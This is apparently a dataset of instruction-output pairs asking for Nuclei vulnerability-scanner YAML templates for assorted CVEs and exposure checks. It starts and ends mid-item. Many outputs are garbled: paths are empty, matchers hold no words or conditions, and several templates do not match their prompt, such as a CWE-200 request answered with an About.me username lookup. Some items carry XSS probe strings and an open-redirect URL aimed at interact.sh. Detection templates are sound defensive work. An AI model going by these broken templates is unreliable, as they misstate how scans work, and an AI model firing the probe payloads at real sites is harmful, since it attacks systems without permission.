    path:
      - "{{BaseURL}}/Login"
    matchers:
      - type: dsl
        condition: or
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2024-7340

Input:
Title: Path Traversal in CVE-2024-7340
Summary: The Weave server API allows remote users to fetch files from a specific directory, but due to a lack of input validation, it is possible to traverse and leak arbitrary files remotely. In various common scenarios, this allows a low-privileged user to assume the role of the server admin.
Vulnerability Type: Path Traversal
Severity: high
Indicators: error, vulnerability detected

Output:
id: CVE-2024-7340

info:
  name: W&B Weave Server - Remote Arbitrary File Leak
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: The Weave server API allows remote users to fetch files from a specific directory, but due to a lack of input validation, it is possible to traverse and leak arbitrary files remotely. In various common scenarios, this allows a low-privileged user to assume the role of the server admin.
  tags: cve,cve2024,lfr,weave,wandb,vuln

http:
  - method: GET
    path:
    matchers:
      - type: regex
        part: body
      - type: word
        words:
          - "application/octet-stream"
          - "filename=passwd"
        part: header
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Check for Unrestricted SMTP Access

Input:
Title: Check for Unrestricted SMTP Access
Summary: Check for Unrestricted SMTP Access. Ensure that Google Cloud VPC network firewall rules do not allow unrestricted access (0.0.0.0/0 on TCP port 25). Restrict access to trusted IP addresses or ranges to reduce the risk of security threats for the SMTP server instances associated with these firewall rules.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: gcloud-unrestricted-smtp-access

info:
  name: Check for Unrestricted SMTP Access
  author: princechaddha
  severity: high
  description: Ensure that Google Cloud VPC network firewall rules do not allow unrestricted access (0.0.0.0/0 on TCP port 25). Restrict access to trusted IP addresses or ranges to reduce the risk of security threats for the SMTP server instances associated with these firewall rules.
  tags: cloud,devops,gcp,gcloud,vpc,firewall,security,smtp,gcp-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2021-38146

Input:
Title: Path Traversal in wipro holmes
Summary: The File Download API in Wipro Holmes Orchestrator 20.4.1 (20.4.1_02_11_2020) allows remote attackers to read arbitrary files via absolute path traversal in the SearchString JSON field in /home/download POST data.
Vulnerability Type: Path Traversal
Severity: high
Affected Products: wipro holmes
Indicators: error, vulnerability detected

Output:
id: CVE-2021-38146

info:
  name: Wipro Holmes Orchestrator 20.4.1 - Arbitrary File Download
  author: s4e-io
  severity: high
  description: The File Download API in Wipro Holmes Orchestrator 20.4.1 (20.4.1_02_11_2020) allows remote attackers to read arbitrary files via absolute path traversal in the SearchString JSON field in /home/download POST data.
  tags: cve,cve2021,wipro,holmes,lfi,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/home/download"
    matchers:
      - type: word
        words:
          - "[fonts]"
          - "[extensions]"
          - "[files]"
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Zhiyuan Oa A6-s info Leak

Input:
Title: Zhiyuan Oa A6-s info Leak
Summary: Zhiyuan Oa A6-s info Leak. Tags: zhiyuan, leak, disclosure
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: zhiyuan-oa-info-leak

info:
  name: Zhiyuan Oa A6-s info Leak
  author: pikpikcu
  severity: info
  description: Zhiyuan Oa A6-s info Leak
  tags: zhiyuan,leak,disclosure,seeyon,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/yyoa/DownExcelBeanServlet?contenttype=username&contentvalue=&state=1&per_id=0"
    matchers:
      - type: word
        words:
          - "attachment"
          - "application/x-msdownload"
        part: header
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2024-8021

Input:
Title: Vulnerability (CWE-601) in gradio_project gradio
Summary: An open redirect vulnerability exists in the latest version of gradio-app/gradio. The vulnerability allows an attacker to redirect users to a malicious website by URL encoding. This can be exploited by sending a crafted request to the application, which results in a 302 redirect to an attacker-controlled site.
Vulnerability Type: Vulnerability (CWE-601)
Severity: medium
Affected Products: gradio_project gradio
Indicators: error, vulnerability detected

Output:
id: CVE-2024-8021

info:
  name: Gradio - Open Redirect
  author: DhiyaneshDK
  severity: medium
  description: Gradio allows an open redirect bypass via URL encoding, enabling attackers to redirect users to malicious sites. This can lead to phishing attacks and loss of trust in the application.
  tags: cve,cve2024,redirect,oast,gradio,vuln

http:
  - method: GET
    path:
    matchers:
      - type: regex
        part: header
      - type: status
        status:
          - 302


Instruction: Generate a Nuclei template for: Cerberus FTP Service - Detect

Input:
Title: Cerberus FTP Service - Detect
Summary: Cerberus FTP Service - Detect. Cerberus FTP service was detected.
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: cerberus-ftp-detect

info:
  name: Cerberus FTP Service - Detect
  author: pussycat0x
  severity: info
  description: Cerberus FTP service was detected.
  tags: network,ftp,cerberus,detect,tcp,discovery

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: netdata-dashboard-detect

info:
  name: Netdata Dashboard Panel - Detect
  author: pussycat0x
  severity: info
  description: Netdata Dashboard panel was detected.
  tags: netdata,panel,tech,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "<title>netdata dashboard</title>"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: VSCode SFTP File Exposure

Input:
Title: VSCode SFTP File Exposure
Summary: VSCode SFTP File Exposure. It discloses sensitive files created by vscode-sftp for VSCode, contains SFTP/SSH server details and credentials.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: vscode-sftp

info:
  name: VSCode SFTP File Exposure
  author: geeknik
  severity: high
  description: It discloses sensitive files created by vscode-sftp for VSCode, contains SFTP/SSH server details and credentials.
  tags: exposure,vscode,sftp,ssh,files,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/sftp.json"
      - "{{BaseURL}}/.config/sftp.json"
      - "{{BaseURL}}/.vscode/sftp.json"
    matchers:
      - type: word
        words:
          - ""name":"
          - ""host":"
          - ""protocol":"
        part: body
        condition: and
      - type: word
        words:
          - "application/json"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Kube API Deployments

Input:
Title: Kube API Deployments
Summary: Kube API Deployments. Scans for kube deployments. Tags: tech, k8s, kubernetes
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: kube-api-deployments

info:
  name: Kube API Deployments
  author: sharath
  severity: info
  description: Scans for kube deployments
  tags: tech,k8s,kubernetes,devops,kube,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/apis/apps/v1/namespaces/default/deployments"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - ""DeploymentList":"
          - ""items":"
        part: body
        condition: and


Instruction: Generate a Nuclei template for: GitLab Runner Registration Token

Input:
Title: GitLab Runner Registration Token
Summary: GitLab Runner Registration Token. Tags: gitlab, runner, token
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: gitlab-runner-token

info:
  name: GitLab Runner Registration Token
  author: DhiyaneshDK
  severity: info
  description: GitLab Runner Registration Token
  tags: gitlab,runner,token,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Polylang Detection

Input:
Title: Polylang Detection
Summary: Polylang Detection. Tags: tech, wordpress, wp-plugin
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: wordpress-polylang

info:
  name: Polylang Detection
  author: ricardomaia
  severity: info
  description: Polylang Detection
  tags: tech,wordpress,wp-plugin,top-100,top-200,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/polylang/readme.txt"
    matchers:
      - type: dsl
      - type: regex
        part: body


Instruction: Generate a Nuclei template for: Fortiswitch Panel - Detect

Input:
Title: Fortiswitch Panel - Detect
Summary: Fortiswitch Panel - Detect. Fortiswitch panel was detected.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: fortiswitch-panel

info:
  name: Fortiswitch Panel - Detect
  author: rxerium
  severity: info
  description: Fortiswitch panel was detected.
  tags: login,panel,fortiswitch,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/login"
    matchers:
      - type: word
        words:
          - "<title>FortiSwitch"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Content-Security-Policy Bypass - Mail.ru Connect

Input:
Title: Content-Security-Policy Bypass - Mail.ru Connect
Summary: Content-Security-Policy Bypass - Mail.ru Connect. Tags: xss, csp-bypass, mailru-connect
Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: mailru-connect-csp-bypass

info:
  name: Content-Security-Policy Bypass - Mail.ru Connect
  author: renniepak,DhiyaneshDK
  severity: medium
  description: Content-Security-Policy Bypass - Mail.ru Connect
  tags: xss,csp-bypass,mailru-connect,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Content-Security-Policy"
          - "mail.ru"
        part: header
        condition: and


Instruction: Generate a Nuclei template for: kayak phishing Detection

Input:
Title: kayak phishing Detection
Summary: kayak phishing Detection. A kayak phishing website was detected

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: kayak-phish

info:
  name: kayak phishing Detection
  author: rxerium
  severity: info
  description: A kayak phishing website was detected
  tags: phishing,kayak,osint,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Search Flights, Hotels & Car Hire | KAYAK"
      - type: status
        status:
          - 200
      - type: dsl


Instruction: Generate a Nuclei template for: XMLRPC Pingback SSRF

Input:
Title: XMLRPC Pingback SSRF
Summary: XMLRPC Pingback SSRF. XMLRPC Pingback leads to SSRF.
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: xmlrpc-pingback-ssrf

info:
  name: XMLRPC Pingback SSRF
  author: geeknik
  severity: high
  description: XMLRPC Pingback leads to SSRF.
  tags: xmlrpc,hackerone,ssrf,generic,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "http"
        part: interactsh_protocol


Instruction: Generate a Nuclei template for CVE-2021-46424

Input:
Title: Unknown Vulnerability in telesquare tlr-2005ksh_firmware
Summary: Telesquare TLR-2005KSH 1.0.0 is affected by an arbitrary file deletion vulnerability that allows a remote attacker to delete any file, even system internal files, via a DELETE request.
Vulnerability Type: Unknown Vulnerability
Severity: critical
Affected Products: telesquare tlr-2005ksh_firmware
Indicators: error, vulnerability detected

Output:
id: CVE-2021-46424

info:
  name: Telesquare TLR-2005KSH 1.0.0 - Arbitrary File Delete
  author: gy741
  severity: critical
  description: Telesquare TLR-2005KSH 1.0.0 is affected by an arbitrary file deletion vulnerability that allows a remote attacker to delete any file, even system internal files, via a DELETE request.
  tags: cve2021,cve,telesquare,intrusive,packetstorm,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl


Instruction: Generate a Nuclei template for: Content-Security-Policy Bypass - Bing

Input:
Title: Content-Security-Policy Bypass - Bing
Summary: Content-Security-Policy Bypass - Bing. Tags: xss, csp-bypass, bing
Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: bing-csp-bypass

info:
  name: Content-Security-Policy Bypass - Bing
  author: renniepak,DhiyaneshDK
  severity: medium
  description: Content-Security-Policy Bypass - Bing
  tags: xss,csp-bypass,bing,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Content-Security-Policy"
          - "bing.com"
        part: header
        condition: and


Instruction: Generate a Nuclei template for: Microsoft Exchange Web Service - Detect

Input:
Title: Microsoft Exchange Web Service - Detect
Summary: Microsoft Exchange Web Service - Detect. Microsoft Exchange Web Services was detected.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: ms-exchange-web-service

info:
  name: Microsoft Exchange Web Service - Detect
  author: bhutch,userdehghani
  severity: info
  description: Microsoft Exchange Web Services was detected.
  tags: ms,microsoft,exchange,tech,panel,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/EWS/Exchange.asmx"
      - "{{BaseURL}}/owa/service.svc"
    matchers:
      - type: regex
        part: header
      - type: status
        status:
          - 401


Instruction: Generate a Nuclei template for CVE-2021-43421

Input:
Title: Unrestricted File Upload in std42 elfinder
Summary: A File Upload vulnerability exists in Studio-42 elFinder 2.0.4 to 2.1.59 via connector.minimal.php, which allows a remote malicious user to upload arbitrary files and execute PHP code.
Vulnerability Type: Unrestricted File Upload
Severity: critical
Affected Products: std42 elfinder
Indicators: error, vulnerability detected

Output:
id: CVE-2021-43421

info:
  name: Studio-42 elFinder <2.1.60 - Arbitrary File Upload
  author: akincibor
  severity: critical
  description: Studio-42 elFinder 2.0.4 to 2.1.59 is vulnerable to unauthenticated file upload via connector.minimal.php which could allow a remote user to upload arbitrary files and execute PHP code.
  tags: cve,cve2021,elfinder,fileupload,rce,intrusive,std42,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for: Kafka Manager Panel - Unauthorized Access

Input:
Title: Kafka Manager Panel - Unauthorized Access
Summary: Kafka Manager Panel - Unauthorized Access. A kafka manager unauthorized access was discovered.
Vulnerability Type: Security Check
Severity: low
Indicators: vulnerability detected

Output:
id: kafka-manager-unauth

info:
  name: Kafka Manager Panel - Unauthorized Access
  author: Paper-Pen
  severity: low
  description: A kafka manager unauthorized access was discovered.
  tags: misconfig,apache,kafka,unauth,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "<title>Kafka Manager</title>"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: java-rmi-detect

info:
  name: Java Remote Method Invocation Protocol - Detect
  author: F1tz
  severity: info
  description: Java Remote Method Invocation protocol is susceptible to information disclosure. It allows for unauthenticated network attacks, which can result in unauthorized operating system takeover including arbitrary code execution.
  tags: network,rmi,java,detect,detection,tcp,discovery

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2024-30568

Input:
Title: Code Injection in netgear r6850_firmware
Summary: Netgear R6850 1.1.0.88 was discovered to contain a command injection vulnerability via the c4-IPAddr parameter.
Vulnerability Type: Code Injection
Severity: critical
Affected Products: netgear r6850_firmware
Indicators: error, vulnerability detected

Output:
id: CVE-2024-30568

info:
  name: Netgear R6850 V1.1.0.88 - Command Injection
  author: ritikchaddha
  severity: critical
  description: Netgear R6850 router firmware version V1.1.0.88 suffers from a command injection vulnerability in the ping_test functionality. An unauthenticated attacker can inject arbitrary system commands through the c4_IPAddr parameter, resulting in remote code execution as root.
  tags: cve,cve2024,cve2024-30568,netgear,router,rce,oast,iot,rce,command-injection,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "netgear"
        part: response
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "http"
          - "dns"
        part: interactsh_protocol
        condition: or
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: WordPress Yoast SEO Plugin - User Enumeration

Input:
Title: WordPress Yoast SEO Plugin - User Enumeration
Summary: WordPress Yoast SEO Plugin - User Enumeration. Tags: wp, wp-plugin, wordpress
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: wp-yoast-user-enumeration

info:
  name: WordPress Yoast SEO Plugin - User Enumeration
  author: FLX
  severity: info
  description: WordPress Yoast SEO Plugin - User Enumeration
  tags: wp,wp-plugin,wordpress,username,disclosure,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "<?xml"
          - "<lastmod>"
          - "<loc>"
        part: body
        condition: and
      - type: word
        words:
          - "application/xml"
          - "text/xml"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: PassCV Sabre Malware Hash - Detect

Input:
Title: PassCV Sabre Malware Hash - Detect
Summary: PassCV Sabre Malware Hash - Detect. PassCV Malware mentioned in Cylance Report

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: passcv-sabre-malware-hash

info:
  name: PassCV Sabre Malware Hash - Detect
  author: pussycat0x
  severity: info
  description: PassCV Malware mentioned in Cylance Report
  tags: malware,passcv

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2020-35338

Input:
Title: Vulnerability (CWE-798) in mobileviewpoint wireless_multiplex_terminal_playout_server
Summary: The Web Administrative Interface in Mobile Viewpoint Wireless Multiplex Terminal (WMT) Playout Server 20.2.8 and earlier has a default account with a password of "pokon."
Vulnerability Type: Vulnerability (CWE-798)
Severity: critical
Affected Products: mobileviewpoint wireless_multiplex_terminal_playout_server
Indicators: error, vulnerability detected

Output:
id: CVE-2020-35338

info:
  name: Wireless Multiplex Terminal Playout Server <=20.2.8 - Default Credential Detection
  author: Jeya Seelan
  severity: critical
  description: Wireless Multiplex Terminal Playout Server <=20.2.8 has a default account with a password of pokon available via its web administrative interface.
  tags: cve,cve2020,wmt,default-login,mobileviewpoint,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/server/"
    matchers:
      - type: word
        words:
          - "WMT Server"
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2021-24406

Input:
Title: Vulnerability (CWE-601) in gvectors wpforo_forum
Summary: The wpForo Forum WordPress plugin before 1.9.7 did not validate the redirect_to parameter in the login form of the forum, leading to an open redirect issue after a successful login. Such issue could allow an attacker to induce a user to use a login URL redirecting to a website under their control and being a replica of the legitimate one, asking them to re-enter their credentials (which will then in the attacker hands)
Vulnerability Type: Vulnerability (CWE-601)
Severity: medium
Affected Products: gvectors wpforo_forum
Indicators: error, vulnerability detected

Output:
id: CVE-2021-24406

info:
  name: WordPress wpForo Forum < 1.9.7 - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: WordPress wpForo Forum < 1.9.7 is susceptible to an open redirect vulnerability because the plugin did not validate the redirect_to parameter in the login form of the forum, leading to an open redirect issue after a successful login.
  tags: cve2021,cve,wpscan,wordpress,redirect,gvectors,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/community/?foro=signin&redirect_to=https://interact.sh/"
    matchers:
      - type: regex
        part: header


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: aboutme

info:
  name: About.me User Name Information - Detect
  author: dwisiswant0
  severity: info
  description: About.me user name information check was conducted.
  tags: osint,osint-social,aboutme,discovery

http:
  - method: GET
    path:
      - "https://about.me/{{user}}"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - " | about.me"
        part: body


Instruction: Generate a Nuclei template for CVE-2004-0656

Input:
Title: Unknown Vulnerability in pureftpd pureftpd
Summary: The accept_client function in PureFTPd 1.0.18 and earlier allows remote attackers to cause a denial of service by exceeding the maximum number of connections.
Vulnerability Type: Unknown Vulnerability
Severity: medium
Affected Products: pureftpd pureftpd
Indicators: error, vulnerability detected

Output:
id: CVE-2004-0656

info:
  name: Pure-FTPd ≤ 1.0.18 - DoS via Connection Limit Exhaustion
  author: pussycat0x
  severity: medium
  description: Pure-FTPd versions ≤ 1.0.18 are vulnerable to denial of service through connection limit exhaustion. The vulnerability occurs in the accept_client function when the maximum number of connections is exceeded, potentially causing the server to become unresponsive or crash.
  tags: cve,cve2004,network,ftp,pure-ftpd,tcp,passive,vuln

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: host.io API Test

Input:
Title: host.io API Test
Summary: host.io API Test. Domains Data API for Developers. Tags: token-spray, hostio
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: api-host-io

info:
  name: host.io API Test
  author: daffainfo
  severity: info
  description: Domains Data API for Developers
  tags: token-spray,hostio

http:
  - method: GET
    path:
      - "https://host.io/api/full/facebook.com?token=${{token}}"
    matchers:
      - type: word
        words:
          - ""domain""
          - ""rank""
          - ""url""
        part: body
        condition: and


Instruction: Generate a Nuclei template for CVE-2023-41538

Input:
Title: Cross-Site Scripting (XSS) in phpjabbers php_forum_script
Summary: phpjabbers PHP Forum Script 3.0 is vulnerable to Cross Site Scripting (XSS) via the keyword parameter.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: phpjabbers php_forum_script
Indicators: error, vulnerability detected

Output:
id: CVE-2023-41538

info:
  name: PHPJabbers PHP Forum Script 3.0 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: PhpJabbers PHP Forum Script 3.0 is vulnerable to Cross Site Scripting (XSS) via the keyword parameter.
  tags: cve2023,cve,xss,phpjabber,jabber,phpjabbers,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/preview.php?controller=pjLoad&action=pjActionIndex&question_search=1&pjPage=1&column=created&direction=DESC&keyword=%22><script>alert(document.domain)</script>"
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for: FeiFeiCMS Security Checks

Input:
Title: FeiFeiCMS Security Checks
Summary: FeiFeiCMS Security Checks. A simple workflow that runs all FeiFeiCMS related nuclei templates on a given target.
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: feifeicms-workflow

info:
  name: FeiFeiCMS Security Checks
  author: daffainfo
  severity: info
  description: A simple workflow that runs all FeiFeiCMS related nuclei templates on a given target.
  tags: unknown

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: EJBCA Enterprise Cloud Configuration Wizard - Exposure

Input:
Title: EJBCA Enterprise Cloud Configuration Wizard - Exposure
Summary: EJBCA Enterprise Cloud Configuration Wizard - Exposure. Detects exposed EJBCA Enterprise Cloud Installation page.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: ejbca-enterprise-installer

info:
  name: EJBCA Enterprise Cloud Configuration Wizard - Exposure
  author: DhiyaneshDK
  severity: high
  description: Detects exposed EJBCA Enterprise Cloud Installation page.
  tags: misconfig,install,exposure,ejbca,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "EJBCA Enterprise Cloud Configuration Wizard"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2019-12985

Input:
Title: OS Command Injection in citrix netscaler_sd-wan and others
Summary: Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 1 of 6).
Vulnerability Type: OS Command Injection
Severity: critical
Affected Products: citrix netscaler_sd-wan, citrix sd-wan
Indicators: error, vulnerability detected

Output:
id: CVE-2019-12985

info:
  name: Citrix SD-WAN Center - Remote Command Injection
  author: gy741
  severity: critical
  description: Citrix SD-WAN Center is susceptible to remote command injection via the ping function in DiagnosticsController, which does not sufficiently validate or sanitize HTTP request parameter values used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for ipAddress, pingCount, or packetSize, thereby potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
  tags: cve,cve2019,citrix,rce,unauth,oast,tenable,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
      - type: word
        words:
          - "http"
        part: interactsh_protocol


Instruction: Generate a Nuclei template for CVE-2021-21800

Input:
Title: Cross-Site Scripting (XSS) in advantech r-seenet
Summary: Cross-site scripting vulnerabilities exist in the ssh_form.php script functionality of Advantech R-SeeNet v 2.4.12 (20.10.2020). If a user visits a specially crafted URL, it can lead to arbitrary JavaScript code execution in the context of the targeted user’s browser. An attacker can provide a crafted URL to trigger this vulnerability.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: advantech r-seenet
Indicators: error, vulnerability detected

Output:
id: CVE-2021-21800

info:
  name: Advantech R-SeeNet 2.4.12 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: Advantech R-SeeNet 2.4.12 contains a reflected cross-site scripting vulnerability in the ssh_form.php script functionality.
  tags: cve2021,cve,xss,r-seenet,advantech,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/php/ssh_form.php?hostname=%3C/title%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Ctitle%3E"
    matchers:
      - type: word
        words:
          - "<title>SSH Session </title><script>alert(document.domain)</script><title></title>"
        part: body
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2018-3810

Input:
Title: Authentication Bypass in oturia smart_google_code_inserter
Summary: Authentication Bypass vulnerability in the Oturia Smart Google Code Inserter plugin before 3.5 for WordPress allows unauthenticated attackers to insert arbitrary JavaScript or HTML code (via the sgcgoogleanalytic parameter) that runs on all pages served by WordPress. The saveGoogleCode() function in smartgooglecode.php does not check if the current request is made by an authorized user, thus allowing any unauthenticated user to successfully update the inserted code.
Vulnerability Type: Authentication Bypass
Severity: critical
Affected Products: oturia smart_google_code_inserter
Indicators: error, vulnerability detected

Output:
id: CVE-2018-3810

info:
  name: Oturia WordPress Smart Google Code Inserter <3.5 - Authentication Bypass
  author: princechaddha
  severity: critical
  description: Oturia Smart Google Code Inserter plugin before 3.5 for WordPress allows unauthenticated attackers to insert arbitrary JavaScript or HTML code (via the sgcgoogleanalytic parameter) that runs on all pages served by WordPress. The saveGoogleCode() function in smartgooglecode.php does not check if the current request is made by an authorized user, thus allowing any unauthenticated user to successfully update the inserted code.
  tags: cve,cve2018,wordpress,google,edb,oturia,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/wp-admin/options-general.php?page=smartcode"
    matchers:
      - type: status
        status:
          - 200
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "text/html"
        part: header
      - type: word
        words:
          - "<script>console.log("document.domain")</script>"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2024-48248

Input:
Title: Vulnerability (CWE-36) in nakivo backup_\&_replication_director
Summary: NAKIVO Backup & Replication before 11.0.0.88174 allows absolute path traversal for reading files via getImageByPath to /c/router (this may lead to remote code execution across the enterprise because PhysicalDiscovery has cleartext credentials).
Vulnerability Type: Vulnerability (CWE-36)
Severity: high
Affected Products: nakivo backup_\&_replication_director
Indicators: error, vulnerability detected

Output:
id: CVE-2024-48248

info:
  name: NAKIVO Backup and Replication Solution - Unauthenticated Arbitrary File Read
  author: DhiyaneshDK
  severity: high
  description: NAKIVO Backup & Replication is a data protection solution used for backing up and restoring virtualized and physical environments. A vulnerability has been identified in certain versions of NAKIVO Backup & Replication that allows an unauthenticated attacker to read arbitrary files on the underlying system.
  tags: cve,cve2024,nakivo,backup,lfi,kev,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2014-9094

Input:
Title: Cross-Site Scripting (XSS) in digitalzoomstudio video_gallery
Summary: Multiple cross-site scripting (XSS) vulnerabilities in deploy/designer/preview.php in the Digital Zoom Studio (DZS) Video Gallery plugin for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) swfloc or (2) designrand parameter.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: digitalzoomstudio video_gallery
Indicators: error, vulnerability detected

Output:
id: CVE-2014-9094

info:
  name: WordPress DZS-VideoGallery Plugin Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Multiple cross-site scripting vulnerabilities in deploy/designer/preview.php in the Digital Zoom Studio (DZS) Video Gallery plugin for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) swfloc or (2) designrand parameter.
  tags: cve2014,cve,wordpress,xss,wp-plugin,seclists,digitalzoomstudio,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "Video Gallery WordPress DZS"
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/dzs-videogallery/deploy/designer/preview.php?swfloc=%22%3E%3Cscript%3Ealert(1)%3C/script%3E"
    matchers:
      - type: word
        words:
          - "<script>alert(1)</script>"
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
